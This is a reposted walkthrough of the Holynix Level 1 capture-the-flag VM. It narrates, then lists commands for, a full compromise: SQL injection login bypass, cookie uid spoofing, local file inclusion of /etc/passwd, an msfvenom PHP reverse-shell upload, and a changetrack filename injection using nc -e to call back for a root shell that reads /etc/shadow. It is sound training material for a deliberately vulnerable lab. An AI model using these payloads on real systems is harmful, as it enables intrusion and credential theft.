HOWTO : Holynix - Level 1
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : g0tmi1k
This is g0tmi1k's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
The original post at here
Links
Watch video on-line
Download video
Brief Overview
The Holynix series is another collection of operating systems with purposely crafted weakness(es) in them. The usual aim of a "boot-to-root"; try and get a shell with the highest user privilege you can.
Method
Scanned the network for the target (nmap)
Port scanned the host (unicornscan)
Banner grabbed the services running on the open ports (nmap)
Bypass the login screen (SQL Injection & Cookie modification)
Collected possible usernames from harvested email addresses (Bash fu)
Discovered system usernames (Tamper Data)
Located user online directories (DirBuster)
Uploaded backdoor with spoofed credentials (Tamper Data)
Located database credentials & viewed content
Escalated privileges (Plain text credentials)
Cloned the user's port knocking profile (KnockKnock)
Discovered a vulnerable running service to gain future privileges (ChangeTrack)
Waited for the exploit to be triggered (Scheduled for ever 5 minutes)
What do I need?
holynix-v1.tar.bz2 [MD5: D19306C6C2305005C72A7811D2B72B51] – (Homepage).
A virtual machine (Example: Virtual Box or VMware Player)
Nmap – (Can be found in BackTrack 5).
Unicornscan – (Can be found in BackTrack 5's repository).
Tamper Data – (Can be found in BackTrack 5).
DirBuster – (Can be found in BackTrack 5).
Metasploit – (Can be found in BackTrack 5).
knockknock – (Can be found in Holynix VM!)
Exploit-DB – (Can be found in BackTrack 5).
Netcat – (Can be found in BackTrack 5).
Walkthrough
To start the attack, the target needed to be identified on the network. To achieve this, the attacker used nmap's quick "ping" scan, which reveals the targets IP address and MAC address (and vendor - if known).
By using unicornscan, the attacker was able to quickly scan every TCP & UDP port, in which to see if there are any services listening. The scan showed that only TCP port 80 was open, which happens to be the default web server port. The attacker then checked the results by "banner grabbing" with nmap, which confirmed that TCP port 80 had a web server running on it and at the same time detected the type of operating system being used.
The attacker then choose to interact with the web server by viewing its contents which they were presented with a login page. As the attacker hadn't collected any possible credentials, they tried to bypass it, rather than using brute force. By trial and error the attacker soon discovered that the password field is vulnerable to a basic SQL injection. This allowed the attacker to login as the first user in the database, "alamo".
After viewing the contents of the company's internal web pages, one of the pages displayed each employee's details (name, department, telephone number and email address). To build up an inside knowledge of the company, the attacker collected these details and extracted possible usernames from the email addresses. During this process the attacker discovers that the only form of authentication is the "uid" value in the session cookie and decides to match up the collected usernames to uid values. The attacker is now able to spoof their identity - as 11 different users.
Upon exploring the web site, the attacker discovered a page which displays documents from a pre-populated list. The attacker then modified their requested file, which causes a "Local File Include" (LFI) vulnerability, which is then used to view the current page's source code. The modified request was successful and the content was display inside the current page. By looking though the source code, the attacker was able to see that the page accepted either POST or GET requests - which simplify the process. The attacker continued by requesting a known file which commonly contains details of each user on the system (/etc/passwd); this returned with the same 11 users.
The attacker tests the web server to see if "mod_userdir" is enabled, which allows users folders to be accessible via the web server. The attacker takes the list of usernames which has been collected and added a "~" (Tilde) infront of the usernames, as this is used for the "home directory", for the requested username which is followed after it. The attacker then starts DirBuster, which will request all the values on any web server and return with the HTTP code (e.g. 200=successful, 403=forbidden, etc). DirBuster was able to confirm the 11 users on the system do have their personal directories which are publicly accessible.
Another internal feature on the web server was to allow users to uploads files to their personal folders. The attacker then crafts a reverse backdoor and upload it. However, they discovered that the current user which they are logged in as, alamo, has been disabled and wasn't able to upload files. The attacker tries again, but this time spoofs the requested user ID value to another known user, which was successful. When the attacker navigates to the user folder and opens the uploaded file, to execute the PHP code inside it. They discover the permissions of the file has been altered.
The attacker goes back to the LFI, and views the source code of the upload page. After analysing the code, they discover another page handles the request. Upon viewing the contents, the attacker notices that by using compressed files, it doesn't affect the file permissions. The attacker then re-packages the backdoor file into a compressed container and uploads with the same spoofed credentials. Before executing the backdoor, the attacker sets up a listener to catch the reverse connection. Once everything is ready, the uploaded code is requested, causing Apache to execute the PHP code, creating the server to connect back to the attacker, which achieves a remote shell for the attacker to interact with the remote system.
As the web server is using an internal (MySQL) database, the attacker is aware that the credentials need to be stored in a file to allow the web server to interact with the database. As the apache user executed the backdoor, the attacker has the same privileges as the web server, which allows the attacker to read the settings file. The attacker checks a few common default locations and soon locates the settings file, with the database credentials - in plain text.
The current shell is interactive, however it is unable to run certain commands (e.g. su, login or mysql ), as they required TTY (teletypewriter). However by using python the attacker is able to bypass the limitation and locally connect to mysql with the newly acquired details.
Upon exploring the databases, the attacker sees a few "interesting" named tables, one of which is called "accounts". The attacker displays every entry into this table and discovers the 11 user accounts' details in plain text.
The attacker goes back to the web server to view the internal message board, which employees used to communicate between. One of the messages explains that there has been issues with brute force attempts on the SSH service, so a "port knocking" solution has been used. Another message explains how to setup the new feature; creating the necessary folder and extracting the user's profile into them. The attacker uses the download link and installs the program, knockknock, for themselves.
Switching back to the remote system, the attacker changes users to the first user they used at the beginning, alamo. All the passwords recorded in the database is a mixture of upper and lower case, numbers and symbols with a length greater than 12, this creates a very strong password however as the password is stored in plain text it is very weak, allowing for the user to copy and paste the credentials, becoming that user. This allows the attacker to copy alamo's knockknock profile into the user's local home folder. The attacker then simply downloads the whole content of alamo's profile via the web server and places it into the necessary folder.
The attacker starts the port knocking sequence, each time testing to see if the port has become open for a brief period of time (only a couple of seconds). After the 3rd knock, the attacker is able to connect to the SSH server, which was previously closed.
Back on the internal message board, the attacker discovers there is "changetrack" installed, configured to back up a certain folder and is scheduled to run every five minutes. This services is usually executed with the highest level of privileges, otherwise it wouldn't be able to back up everything possible. The attacker checks that the user he is using, alamo, has access to the folder which is being monitored; turns out only two users are (one of which is alamo!).
The attacker then checks a local copy of a public exploit database, exploitdb, to see if there are any known exploits for this service. There was only one result, which reveals that the service doesn't escape certain filenames, therefore filenames which have been crafted can cause the service to execute shell commands. The attacker notes the example filename, which is given, however instead of doing a "bind" connection, they choose to reserve it instead. Locally, the attacker sets up another listener, and remotely checks for, and, configures a program, netcat, which allows for the network connections to read and execute commands. The reason why the attacker flips the direction of netcat was to allow the target to establish, letting the attacker just wait, rather than for them to keep checking.
The attacker now waits for the changetrack service to be triggered, which shouldn't be long, as it was hinted in the message board; it backs up every five minutes...
...A little while later, the attacker notices that the remote system has executed their command and created a remote shell with the super user, root, account privileges.
Commands
nmap 192.168.0.0/24 -sn -n
us -H -msf -Iv 192.168.0.11 -p 1-65535 && us -H -mU -Iv 192.168.0.11 -p 1-65535
nmap -p 1-65535 -T4 -A -v 192.168.0.11
firefox 192.168.0.11 & # Username: g0tmi1k Password: ' OR 1=1 # id: alamo
Right click -> View Page Info -> Headers
Firefox -> Directory
curl -s 192.168.0.11
curl -s --cookie "uid=1" 192.168.0.11
curl -s --cookie "uid=1" http://192.168.0.11/?page=employeedir.php | sed -e "s/
/
\n/g; s/example.net/example.net\n/g" | grep example.net | sed "s/@example.net//"
curl -s --cookie "uid=1" http://192.168.0.11/?page=employeedir.php | sed -e "s/
/
\n/g; s/example.net/example.net\n/g" | grep example.net | sed "s/@example.net//" > /tmp/users
wc -l /tmp/users
for x in $(seq 1 64); do
y=$(curl -s --cookie "uid=$x" 192.168.0.11 | grep Welcome, | sed "s/[ \t]*//; s/Welcome, //" | cut -d "." -f1)
if [ $y ] ; then echo $x=$y ; fi
done
Firefox -> Tools -> Tamper Data -> Start Tamper
firefox http://192.168.0.11/?page=ssp.php # Display File
Tamper -> text_file_name: ssp.php
http://192.168.0.11//index.php?page=ssp.php&text_file_name=/etc/passwd
cat /tmp/users| sed 's/^/~/' >> /tmp/users
cd /pentest/web/dirbuster
java -jar DirBuster-0.12.jar -u http://192.168.0.11 # /tmp/users.txt
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 -f raw > /tmp/evil.jpg
Firefox -> Tools -> Tamper Data -> Start Tamper
firefox # Upload (fails)
Tamper -> Cookie: uid=2 # id: etenenbaum
firefox # Upload again
firefox http://192.168.0.11/~etenenbaum/ # evil.jpg
firefox http://192.168.0.11/?page=ssp.php # Display File
Tamper -> text_file_name: /home/etenenbaum/evil.jpg
http://192.168.0.11//index.php?page=ssp.php&text_file_name=upload.php
http://192.168.0.11//index.php?page=ssp.php&text_file_name=transfer.php
cd /tmp
mv evil.jpg evil.php
chmod +x evil.php
ls -l evil.php
tar -cvzf evil.tar.gz evil.php
ls -l evil*
msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 E
firefox http://192.168.0.11/~etenenbaum/
sysinfo
shell
id
pwd
ls -lah
cd /var/apache2
ls -lah
cat config.inc
python -c 'import pty; pty.spawn("/bin/sh")'
mysql -u root -pmY5qLr007p@S5w0rD
SHOW DATABASES;
USE creds;
SHOW TABLES;
SELECT * FROM accounts;
quit
firefox http://192.168.0.11/index?page=messageboard.php # knockknock
wget http://192.168.0.11/misc/knockknock-0.7.tar.gz
tar zxvf knockknock-0.7.tar.gz
cd knockknock-0.7
head -n 20 INSTALL
python setup.py install
cd /etc/knockknock.d/profiles/
ls -lAh
cp -r alamo ~/knockknock
exit
exit
exit
exit
wget -r -np --reject=index* 192.168.0.11/~alamo/knockknock/
mv 192.168.0.11/~alamo/knockknock ~/.knockknock/192.168.0.11
ls -lAh
#cat config
nmap -p 22 -T5 -v 192.168.0.11
#python /tmp/knockknock-0.7/knockknock.py -p 13820 192.168.0.11
python /tmp/knockknock-0.7/knockknock.py -p 22 192.168.0.11 && nmap -p 13820 -T5 -v 192.168.0.11
python /tmp/knockknock-0.7/knockknock.py -p 22 192.168.0.11 && ssh alamo@192.168.0.11 # Ih@cK3dM1cR05oF7
id
# sudo -l
firefox http://192.168.0.11/index?page=messageboard.php # Changetrack
cd /pentest/exploits/exploitdb
grep -i changetrack files.csv
cat platforms/linux/local/9709.txt
ls -lah /home # development is set to nobody & developers
cat /etc/group | grep developers # Alamo jljohansen
cd /home/development
ls -lAh
whereis nc
nc -lvp 443
touch "<\`nc 192.168.0.192 443 -e \$SHELL\`"
ls
watch -d -n 1 "netstat -ant" # wait 5 mins
id && /sbin/ifconfig && uname -a && cat /etc/shadow && ls -lAh /root/Notes
- When starting the VM for the first time with VMware, select "Moved It" - otherwise it could cause issues (e.g. The target will not be visible!).
- There is the possibly of another method of gaining access, as well as different tools (e.g. burpsuite instead of using tamper data) or techniques (modify the SQL injection or permanently edit the cookie value) could be used to achieve the same effect.
- Some mistakes in the video are more obvious
- On reflection, a few commands should have been issues to verify the comments on the message box, such as: "ls /etc | grep -i changetrack", and "cat /etc/changetrack.conf".
That's all! See you.